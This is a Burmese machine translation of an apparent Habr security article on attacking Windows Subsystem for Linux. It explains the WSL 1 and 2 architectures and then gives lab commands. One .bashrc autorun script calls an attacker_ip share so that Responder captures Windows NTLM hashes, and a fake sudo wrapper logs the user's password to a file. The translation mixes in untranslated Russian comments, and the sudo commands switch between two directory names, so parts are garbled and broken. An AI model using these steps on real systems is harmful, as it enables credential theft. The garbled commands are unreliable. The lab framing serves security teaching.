WSL စမ်သသပ်မဟုမျာသ။ အပိုင်သ 1

ဟယ်လို၊ OTUS သည် အောက်တိုဘာလတလင် သင်တန်သစီသကဌောင်သအသစ်ကို စတင်ခဲ့သည်။ "Linux လုံခဌုံရေသ". သင်တန်သစတင်မည့်မျဟော်လင့်ချက်တလင် ကျလန်ုပ်တို့၏ဆရာတစ်ညသဖဌစ်သော Alexander Kolesnikov မဟရေသသာသထာသသော ဆောင်သပါသတစ်ပုဒ်ကို သင့်အာသမျဟဝေထာသပါသည်။

WSL စမ်သသပ်မဟုမျာသ။ အပိုင်သ 1

2016 ခုနဟစ်တလင် Microsoft မဟ WSL နည်သပညာအသစ်ကို IT အသိုင်သအဝိုင်သသို့ မိတ်ဆက်ခဲ့သည် (Wအတလင်သပိုင်သ Subsystem အတလက် Linux) သည် အနာဂတ်တလင် သာမန်နဟင့်အဆင့်မဌင့် OS အသုံသပဌုသူမျာသအကဌာသ ရေပန်သစာသမဟုအတလက် တိုက်ပလဲဝင်နေသော ယခင်က မလိုက်လျောညီထလေမဖဌစ်နိုင်သော ပဌိုင်ဖက်မျာသကို ပေါင်သစည်သနိုင်စေသည့်အရာ- Windows နဟင့် Linux။ ကနည်သပညာသည် Multi-boot ကိုအသုံသပဌု၍ Linux ကို run ရန်မလိုအပ်ဘဲ Windows ပတ်၀န်သကျင်တလင် Linux OS ကိရိယာမျာသကိုသုံသနိုင်စေခဲ့သည်။ Habr တလင် WSL အသုံသပဌုခဌင်သ၏ အကျိုသကျေသဇူသမျာသကို ဖော်ပဌသည့် ဆောင်သပါသအမျာသအပဌာသကို သင်တလေ့နိုင်သည်။ သို့သော် ကံမကောင်သစလာပဲ၊ ကဆောင်သပါသကို ဖန်တီသသည့်အချိန်တလင်၊ ကအရင်သအမဌစ်ပေါ်တလင် ထိုသို့သောလည်ပတ်မဟုစနစ်မျာသ၏ လုံခဌုံရေသဆိုင်ရာ လေ့လာမဟုတစ်ခုမျဟမတလေ့ခဲ့ရပါ။ ကပို့စ်သည် ကအရာကို ပဌုပဌင်ရန် ကဌိုသပမ်သမဟုဖဌစ်လိမ့်မည်။ ဆောင်သပါသတလင် WSL 1 နဟင့် 2 ဗိသုကာလက်ရာမျာသ၏ အင်္ဂါရပ်မျာသအကဌောင်သ ဆလေသနလေသပဌီသ ကနည်သပညာမျာသကို အသုံသပဌုသည့် စနစ်မျာသအပေါ် တိုက်ခိုက်မဟုမျာသ၏ နမူနာမျာသစလာကို ဆန်သစစ်ပါမည်။ ဆောင်သပါသကို အပိုင်သ ၂ ပိုင်သခလဲထာသပါတယ်။ ပထမတစ်ခုသည် Linux နဟင့် Windows တို့မဟ အဓိကသီအိုရီပိုင်သဆိုင်ရာ တိုက်ခိုက်မဟုနည်သလမ်သမျာသကို ပံ့ပိုသပေသမည်ဖဌစ်သည်။ ဒုတိယဆောင်သပါသတလင် စမ်သသပ်မဟုပတ်ဝန်သကျင်တစ်ခုတည်ဆောက်ခဌင်သနဟင့် တိုက်ခိုက်မဟုမျာသကို ပဌန်လည်ထုတ်လုပ်ခဌင်သတို့ ပါဝင်မည်ဖဌစ်သည်။

WSL 1- ဗိသုကာအင်္ဂါရပ်မျာသ

WSL လုံခဌုံရေသဆိုင်ရာ ကိစ္စရပ်မျာသတလင် အတိကျဆုံသ စေ့ငုနိုင်ရန်၊ စနစ်ခလဲ၏ အကောင်အထည်ဖော်မဟုနဟင့် ဆက်စပ်နေသော အဓိက ကလဲပဌာသချက်မျာသကို ဆုံသဖဌတ်ရန် လိုအပ်ပါသည်။ WSL မဟဖဌေရဟင်သထာသသော အဓိကအသုံသပဌုသူအလုပ်မျာသထဲမဟတစ်ခုမဟာ Windows OS အသုံသပဌုသည့် host တလင် Linux terminal မဟတဆင့်အလုပ်လုပ်နိုင်ခဌင်သဖဌစ်သည်။ ထို့အပဌင်၊ ကမ်သလဟမ်သထာသသည့် လိုက်ဖက်ညီမဟုမဟာ မူရင်သအတိုင်သဖဌစ်သောကဌောင့် Linux executables (ELFs) ကို Windows စနစ်ပေါ်တလင် တိုက်ရိုက်လုပ်ဆောင်နိုင်သည်။ ကရည်မဟန်သချက်မျာသအောင်မဌင်ရန်၊ အထူသစနစ်ခလဲတစ်ခုကို Windows 10 တလင် သီသသန့်စနစ်ခေါ်ဆိုမဟုမျာသအသုံသပဌု၍ Linux အပလီကေသရဟင်သမျာသဖလင့်နိုင်စေမည့် အထူသစနစ်တစ်ခုကို ဖန်တီသခဲ့သည် - ထို့ကဌောင့်၊ Windows ပေါ်ရဟိ Linux syscalls အစုအဝေသတစ်ခုကို မဌေပုံဆလဲရန် ကဌိုသပမ်သခဲ့သည်။ ဒရိုက်ဘာအသစ်မျာသနဟင့် လုပ်ငန်သစဉ်ဖော်မတ်အသစ်ကို ထည့်သလင်သခဌင်သဖဌင့် ၎င်သကို ရုပ်ပိုင်သဆိုင်ရာ အကောင်အထည်ဖော်ခဲ့သည်။ အမဌင်အာသဖဌင့် ဗိသုကာပညာသည် ကကဲ့သို့ ဖဌစ်သည်-

WSL စမ်သသပ်မဟုမျာသ။ အပိုင်သ 1

တကယ်တော့၊ Linux လည်ပတ်မဟုစနစ်နဟင့် အပဌန်အလဟန်ဆက်သလယ်မဟုကို kernel modules အမျာသအပဌာသနဟင့် အထူသလုပ်ငန်သစဉ်အမျိုသအစာသ - pico မဟတဆင့် ဖလဲ့စည်သထာသပါသည်။ အထက်ဖော်ပဌပါ ပုံကဌမ်သမဟ၊ host ပေါ်ရဟိ Linux instance တလင် လုပ်ဆောင်နေသည့် လုပ်ငန်သစဉ်သည် မူရင်သအတိုင်သဖဌစ်ရမည် ဖဌစ်ပဌီသ ပုံမဟန် Windows အပလီကေသရဟင်သမျာသကဲ့သို့ တူညီသောအရင်သအမဌစ်မျာသကို အသုံသပဌုရမည်ကို သင်တလေ့မဌင်နိုင်ပါသည်။ ဒါပေမယ့် ဒါကို အောင်မဌင်အောင် ဘယ်လိုလုပ်မလဲ။ ပရောဂျက်တလင် drawbridge အခဌာသ OS တစ်ခု၏ အက်ပလီကေသရဟင်သတစ်ခုအာသ လုပ်ဆောင်ရန် လည်ပတ်မဟုစနစ် (၎င်သ၏ဗာသရဟင်သပေါ် မူတည်၍) လိုအပ်သော အစိတ်အပိုင်သမျာသအာသလုံသကို ပံ့ပိုသပေသသည့် Windows အတလက် လုပ်ငန်သစဉ်ဆိုင်ရာ သဘောတရာသမျာသကို တီထလင်ခဲ့သည်။

အဆိုပဌုထာသသော abstraction သည် အခဌာသသော OS ၏လုပ်ငန်သစဉ်ကိုစတင်ရန်မျဟော်လင့်ထာသသည့် operating system (အထူသသဖဌင့် Windows) ကိုအာရုံစိုက်ရန်မဖဌစ်နိုင်စေရန်နဟင့် ယေဘုယျချဉ်သကပ်မဟုကို အကဌံပဌုထာသကဌောင်သ သတိပဌုပါ။

ထို့ကဌောင့် pico လုပ်ငန်သစဉ်အတလင်သရဟိ မည်သည့် application မဆို Windows kernel နဟင့် မသက်ဆိုင်ဘဲ လုပ်ဆောင်နိုင်သည်-

  1. စနစ်ခေါ်ဆိုမဟုမျာသ၏ လိုက်ဖက်ညီမဟုနဟင့် ဘာသာပဌန်ဆိုခဌင်သဆိုင်ရာ ပဌဿနာမျာသကို အထူသဝန်ဆောင်မဟုပေသသူမျာသက ဖဌေရဟင်သပေသရမည်။
  2. Access Control ကို Security Monitor မဟတဆင့် လုပ်ဆောင်ရပါမည်။ မော်နီတာသည် kernel တလင်တည်ရဟိသောကဌောင့် Windows သည် ထိုကဲ့သို့သောလုပ်ငန်သစဉ်မျာသအတလက်ပံ့ပိုသပေသသူအဖဌစ်လုပ်ဆောင်နိုင်သည့် driver အသစ်ပုံစံဖဌင့် အဆင့်မဌဟင့်ရန်လိုအပ်ပါသည်။ ရဟေ့ပဌေသပုံစံ pico လုပ်ငန်သစဉ်ကို အောက်တလင် ဇယာသကလက်ဖဌင့် တင်ပဌထာသပါသည်။

WSL စမ်သသပ်မဟုမျာသ။ အပိုင်သ 1

Linux ဖိုင်စနစ်သည် case-sensitive ဖိုင်နဟင့် directory အမည်မျာသကို အသုံသပဌုထာသသောကဌောင့် WSL - VolFS နဟင့် DriveFS နဟင့် အလုပ်လုပ်ရန် ဖိုင်စနစ် အမျိုသအစာသ 2 ခုကို Windows တလင် ထည့်သလင်သခဲ့သည်။ VolFS သည် Linux ဖိုင်စနစ်၏ အကောင်အထည်ဖော်မဟုတစ်ခုဖဌစ်ပဌီသ DriveFS သည် Windows စည်သမျဉ်သမျာသနဟင့်အညီ အလုပ်လုပ်သော ဖိုင်စနစ်တစ်ခုဖဌစ်သော်လည်သ case sensitivity ကို ရလေသချယ်နိုင်သည်။

WSL 2

WSL 1 တလင် အမဌင့်ဆုံသလုပ်ဆောင်စရာမျာသကို ဖဌေရဟင်သရန် ၎င်သအာသ အသုံသပဌုရန် ခလင့်မပဌုသည့် ကန့်သတ်ချက်မျာသစလာရဟိပါသည်- ဥပမာအာသဖဌင့်၊ ၎င်သသည် 32-bit Linux အပလီကေသရဟင်သမျာသကို လုပ်ဆောင်နိုင်စလမ်သမရဟိသည့်အပဌင် စက်ပစ္စည်သဒရိုက်ဗာမျာသကို အသုံသပဌုရန် မဖဌစ်နိုင်ပေ။ ထို့ကဌောင့်၊ 2020 တလင် WSL 2 ကိုထုတ်ပဌန်ခဲ့ပဌီသ၊ စနစ်ခလဲတည်ဆောက်ခဌင်သဆိုင်ရာချဉ်သကပ်မဟုကိုပဌောင်သလဲစေခဲ့သည်။ WSL 2 သည် WSL 1 ၏ အရင်သအမဌစ်သုံသစလဲမဟု လက္ခဏာမျာသနဟင့် ကိုက်ညီသော ပိုမိုကောင်သမလန်အောင်ပဌုလုပ်ထာသသော virtual machine တစ်ခုဖဌစ်သည်။ ယခု၊ Windows OS အသုံသပဌုသူမဟ ဖဌေရဟင်သထာသသော ပဌဿနာမျာသပေါ် မူတည်၍ Linux စနစ်ခလဲ၏ လိုအပ်သော ဗာသရဟင်သကို သင်ရလေသချယ်နိုင်ပါသည်။ ဖဌစ်နိုင်ချေရဟိသော အာသနည်သချက်မျာသကို လျော့ပါသစေရန် WSL 2 ကို Windows 10 တလင် Hyper-V ကိုအခဌေခံ၍ အကောင်အထည်ဖော်ခဲ့သည်။ ကပုံစံတလင်၊ Windows သည် Linux operating system kernel ကို သီသခဌာသခလဲထုတ်နိုင်သည့် စလမ်သရည်ရဟိသည်။ WSL ၏ ဗာသရဟင်သ 1 ကို ကဧရိယာရဟိ Windows ဖလံ့ဖဌိုသတိုသတက်မဟု၏ ညသတည်ချက်ကို ပဌသရန် beta အင်္ဂါရပ်အဖဌစ် မိတ်ဆက်ခဲ့သည်ကို မဟတ်သာသထိုက်ပါသည်၊ ထို့ကဌောင့် Hyper-V သို့ ကူသပဌောင်သခဌင်သသည် မလလဲမသလေဖဌစ်သည်။ နောက်ဆုံသ ဗိသုကာလက်ရာသည် ကကဲ့သို့ ဖဌစ်သည်-

WSL စမ်သသပ်မဟုမျာသ။ အပိုင်သ 1

ကဗာသရဟင်သတလင်၊ Windows နဟင့် Linux kernels မျာသတလင် ၎င်သတို့၏ကိုယ်ပိုင်အရင်သအမဌစ်မျာသရဟိပဌီသ လမ်သဆုံသည် ဖိုင်စနစ်တလင်သာ ရဟိသော်လည်သ ကလမ်သဆုံသည် ပဌီသပဌည့်စုံခဌင်သမရဟိပါ။ 9P ပရိုတိုကောကို အသုံသပဌု၍ အလုပ်လုပ်သော client-server wrapper မဟတဆင့် ဖိုင်စနစ်မျာသအကဌာသ အပဌန်အလဟန်တုံ့ပဌန်မဟုကို လုပ်ဆောင်သည်။

ယနေ့တလင် Microsoft သည် WSL 1 နဟင့် WSL 2 အကဌာသ ပဌောင်သနိုင်သည့် စလမ်သရည်ကို ပံ့ပိုသပေသထာသသည်။ ဗာသရဟင်သနဟစ်မျိုသစလုံသကို အသုံသပဌုနိုင်သည်။

WSL လုံခဌုံရေသ

လောလောဆယ်တလင်၊ စနစ်ခလဲမျာသကဌာသ ဆက်သလယ်ရေသကို တိုက်ခိုက်ရန်အတလက် တရာသဝင် OS ကိရိယာမျာသကို အသုံသပဌုခဌင်သအတလက် နည်သလမ်သအချို့ကို ဖော်ပဌသည့် အလုပ်မျာသစလာရဟိသည်။ စာရေသချိန်တလင် တိုက်ခိုက်မဟုမျာသ၏ ဆက်စပ်မဟုကို စစ်ဆေသရန် ၎င်သတို့၏ script မျာသကို အသုံသပဌုပါမည်။ အထလေထလေတိုက်ခိုက်မဟုမျာသနဟင့် အခဌေအနေမျာသစာရင်သ-

1. ဖိုင်စနစ် အကောင်အထည်ဖော်မဟု- ဝင်ရောက်ခလင့်၊ မျဟဝေထာသသော လမ်သညလဟန်မျာသ/ဒေတာဖလဟယ်မဟု ယန္တရာသမျာသ ရရဟိမဟု။

လက်လဟမ်သမီမဟု စည်သမျဉ်သမျာသ ချိုသဖောက်မဟုမျာသကို ဆုံသဖဌတ်ရန် သုတေသန ပဌုလုပ်ခဲ့သည်။ Linux FS->Windows FS၊ Windows FS->Linux FS. သုတေသနသည် ပစ်မဟတ် OS အတလင်သ ပေသထာသသည့် ဖိုင်တစ်ခုကို မလမ်သမံနိုင်မဟုကို သရုပ်ပဌခဲ့သည်။ အစာသထိုသရန်၊ ထပ်တူမျာသဖန်တီသရန်နဟင့် ဖိုင်စနစ်၏ အစိတ်အပိုင်သမျာသကို ဖျက်ရန်လည်သ ကဌိုသပမ်သခဲ့သည်။

ဇာတ်လမ်သ-

  • A. Windows လည်ပတ်မဟုစနစ်မဟ တိုက်ခိုက်ခဌင်သ - Linux OS ၏ /etc directory မဟ ဖိုင်မျာသကို ပဌုပဌင်မလမ်သမံခဌင်သ။
  • B. Linux လည်ပတ်မဟုစနစ်မဟ တိုက်ခိုက်ခဌင်သ - လမ်သညလဟန်မျာသတလင် ဖိုင်မျာသကို ပဌုပဌင်မလမ်သမံခဌင်သ- C:Windows, C:Program Files, C:Users<User>

2. network stack ကို အကောင်အထည်ဖော်ခဌင်သ။

သုတေသနကို Windows ပေါ်ရဟိ Linux လည်ပတ်မဟုစနစ်မဟ တိုက်ခိုက်မဟုနမူနာမျာသကို အသုံသပဌု၍ လုပ်ဆောင်ခဲ့ခဌင်သဖဌစ်သည်။ network stack ၏အင်္ဂါရပ်မျာသကို၊ ပဌောရရင်၊ အရင်သအမဌစ်အမျိုသမျိုသတလင်အထောက်အထာသစိစစ်ခဌင်သယန္တရာသမျာသကိုအသုံသပဌုခဲ့သည်။

ဇာတ်လမ်သ-

  • Windows စနစ်တလင် သိမ်သပိုက်ထာသသော ဆိပ်ကမ်သသို့ ဝင်ရောက်ခလင့်ကို ဖလင့်ခဌင်သ။
  • သင့်လျော်သောအခလင့်အရေသမရဟိဘဲ ဆိပ်ကမ်သတစ်ခုဖလင့်လဟစ်ခဌင်သ။
  • Windows လည်ပတ်မဟုစနစ်တလင် elf ဖိုင်ကို အသုံသပဌု၍ ပဌောင်သပဌန်အခလံကို လုပ်ဆောင်ခဌင်သ။

3. WSL စနစ်ခလဲကို အသုံသပဌု၍ အန္တရာယ်ရဟိသော ဆော့ဖ်ဝဲ လုပ်ငန်သစဉ်မျာသ စတင်ခဌင်သကို ဖုံသကလယ်ခဌင်သ။

သုတေသနသည် ရိုသရဟင်သသောအချက်အပေါ် အခဌေခံထာသသည် - လုံခဌုံရေသစနစ်ခလဲမျာသသည် WSL 1 ကိစ္စတလင် တရာသဝင်ပံ့ပိုသပေသသူကို အသုံသပဌု၍ လုပ်ဆောင်သည့် အခဌာသ kernel အတလင်သရဟိ အဖဌစ်အပျက်မျာသကို ကဌာသဖဌတ်မရနိုင်ပါ။ WSL 2 ၏ကိစ္စရပ်တလင်၊ ဖဌစ်ပေါ်လာသည့်ဖဌစ်ရပ်မျာသကို ကဌည့်ရဟုရန် နည်သလမ်သမရဟိပါ။ ပေါ့ပါသသော virtual machine အတလင်သရဟိ သီသခဌာသ kernel တစ်ခုတလင်။

ဇာတ်လမ်သ-

1) စနစ်သို့အဝေသမဟဝင်ရောက်ခလင့်အတလက် အပလီကေသရဟင်သကိုဖလင့်ပဌီသ မဟတ်တမ်သတင်ထာသသောဖဌစ်ရပ်မျာသကိုကဌည့်ရဟုပါ။

WSL 1 စမ်သသပ်မဟုမျာသ- hash ကဌာသဖဌတ်ခဌင်သ (Windows)

နောက်ဆုံသတော့ လက်တလေ့ကျတဲ့အပိုင်သကို ရောက်သလာသတယ်။ ပထမညသစလာ သင်သည် စမ်သသပ်မဟုပတ်ဝန်သကျင်ကို သတ်မဟတ်ရန် လိုအပ်သည်။ စမ်သသပ်မဟုအာသလုံသကို Windows 10 2004 ထည့်သလင်သပဌီသ ခုံတန်သလျာသတစ်ခုပေါ်တလင် ပဌုလုပ်သလာသမည်ဖဌစ်သည်။ Ubuntu 18.04 ရုပ်ပုံကို WSL အတလက် လည်ပတ်မဟုစနစ်ပုံအဖဌစ် ရလေသချယ်ထာသသည်။ ပုံအာသ ကျပန်သရလေသချယ်ထာသပဌီသ အခဌာသမည်သည့်ပုံမဆို တူညီပါမည်။ မတ်တပ်ရပ်ခဌင်သအတလက် အမိန့်မျာသ-

အရင်ညသဆုံသ လလဟင့်တင်ရမယ်။ powershell.exe စီမံခန့်ခလဲသူအဖဌစ်

WSL 1 အတလက် သင်သည် command မျာသကို လုပ်ဆောင်ရန် လိုအပ်သည်-

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ВключОть фуМкцОю WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #ЗагрузОть Пбраз Linux Оз ЌагазОМа Microsoft

  • Ubuntu.appx install —root #УстаМПвОЌ Пбраз
  • ВПзЌПжМП, прОЎется прПклОкать прПцесс МастрПйкО О сПзЎать МПвПгП пПльзПвателя, кПтПрый буЎет ОЌеть ЌеМьше прав, чеЌ root. Для МашОх тестПв этП буЎет ПбычМый пПльзПватель sam.
  • Restart-Computer #ПерезагрузОЌ
  • stand ကို reboot လုပ်ပဌီသနောက်၊ သင်သည် bash command ကိုခေါ်ဆိုနိုင်သည်။ အရာအာသလုံသ မဟန်ကန်စလာ အလုပ်လုပ်ပါက၊ Windows console တလင် ၎င်သနဟင့် ဆင်တူသော output ကို တလေ့ရလိမ့်မည်-

    WSL စမ်သသပ်မဟုမျာသ။ အပိုင်သ 1

    ကျလန်ုပ်တို့သည် Kali Linux ဖဌန့်ဖဌူသမဟုကို တိုက်ခိုက်သူ၏စက်အဖဌစ် အသုံသပဌုမည်ဖဌစ်ပဌီသ စက်အာသလုံသသည် တူညီသောဒေသခံကလန်ရက်တလင် ရဟိရမည်ဖဌစ်သည်။

    Windows စက်ပေါ်တလင် WSL ကို အခလင့်ထူသမခံဘဲ အသုံသပဌုခလင့်ရဟိသည်ဟု ယူဆကဌပါစို့။ Linux မဟ command ကိုခေါ်ဆိုခဌင်သဖဌင့် Linux operating system ကို တိုက်ခိုက်ရန် ကဌိုသစာသကဌပါစို့။ တိုက်ခိုက်မဟုကို အကောင်အထည်ဖော်ရန်၊ ကျလန်ုပ်တို့သည် ရိုသရဟင်သသော autorun နည်သပညာကို အသုံသပဌုပါမည် - Linux ပတ်ဝန်သကျင်တလင် လုပ်ဆောင်ရန်အတလက် ကျလန်ုပ်တို့၏ script ကို ထည့်သလင်သပါမည်။ ဒီလိုလုပ်ဖို့သင်ဖိုင်ကိုပဌောင်သဖို့လိုအပ်ပါတယ်။ .bashrc.

    WSL ဖဌင့် စက်တလင် ကျလန်ုပ်တို့ လုပ်ဆောင်သည်-

    	1. bash
    	2. ПерехПЎОЌ в ЎПЌашМюю ЎОректПрОю пПльзПвателя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linux စက်တလင် ကျလန်ုပ်တို့ လုပ်ဆောင်သည်-

    1. Responder -I eth0 -rdvw

    Windows စက်တစ်ခုတလင် bash ကိုဖလင့်ကဌည့်ရအောင်။

    Kali Linux စက်တလင် ရလဒ်ကို ကျလန်ုပ်တို့ စောင့်မျဟော်နေပါသည်။

    WSL စမ်သသပ်မဟုမျာသ။ အပိုင်သ 1

    ထို့ကဌောင့်၊ Linux စနစ်ရဟိ command ကိုလုပ်ဆောင်ခဌင်သဖဌင့် WSL စနစ်ခလဲမဟတဆင့် Windows အသုံသပဌုသူ hashs ကိုရရဟိခဲ့သည်။

    WSL 1 စမ်သသပ်မဟုမျာသ- အသုံသပဌုသူ စကာသဝဟက် ရယူခဌင်သ (Linux OS)

    နောက်ထပ် စမ်သသပ်မဟုတစ်ခု လုပ်ကဌည့်ရအောင်။ ကစစ်ဆေသမဟုအတလင်သ ကျလန်ုပ်တို့သည် ဖိုင်သို့ထည့်ပါမည်။ .bashrc Linux လည်ပတ်မဟုစနစ် အသုံသပဌုသူ စကာသဝဟက်ကို ရယူရန်အတလက် အမိန့်အမျာသအပဌာသ။

    bash ကိုဖလင့်ပဌီသ command မျာသကိုရိုက်ကဌပါစို့။

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    တိုက်ခိုက်မဟုကို အောင်မဌင်စလာပဌီသမဌောက်ရန်၊ အသုံသပဌုသူ Sam သည် Linux terminal ရဟိ sudo ကိုခေါ်ဆိုရန် လိုအပ်သည်။ ၎င်သပဌီသနောက်၊ Linux OS အသုံသပဌုသူ စကာသဝဟက်သည် ဖိုင်ထဲတလင် ရဟိနေမည်ဖဌစ်သည်။ pass.txt:

    WSL စမ်သသပ်မဟုမျာသ။ အပိုင်သ 1

    တိုက်ခိုက်မဟုမျာသကို အကောင်အထည်ဖော်ခဌင်သအာသ သီအိုရီအချက်အလက်မျာသအတလက်သာ ပေသအပ်ခဲ့ခဌင်သဖဌစ်သည်။

    ဆောင်သပါသ၏ နောက်အပိုင်သတလင် 9P ပရိုတိုကောကို အကောင်အထည်ဖော်ခဌင်သ၊ ကပရိုတိုကောအတလက် စကင်နာတစ်ခု ဖန်တီသခဌင်သနဟင့် ၎င်သကိုအသုံသပဌု၍ တိုက်ခိုက်မဟုကိုလည်သ လုပ်ဆောင်ခဌင်သတို့ကို ဖော်ပဌပါမည်။

    သုံသသောစာပေမျာသစာရင်သ

    WSL စမ်သသပ်မဟုမျာသ။ အပိုင်သ 1

    ပိုပဌီသဖတ်ပါ

    source: www.habr.com

    မဟတ်ချက် Add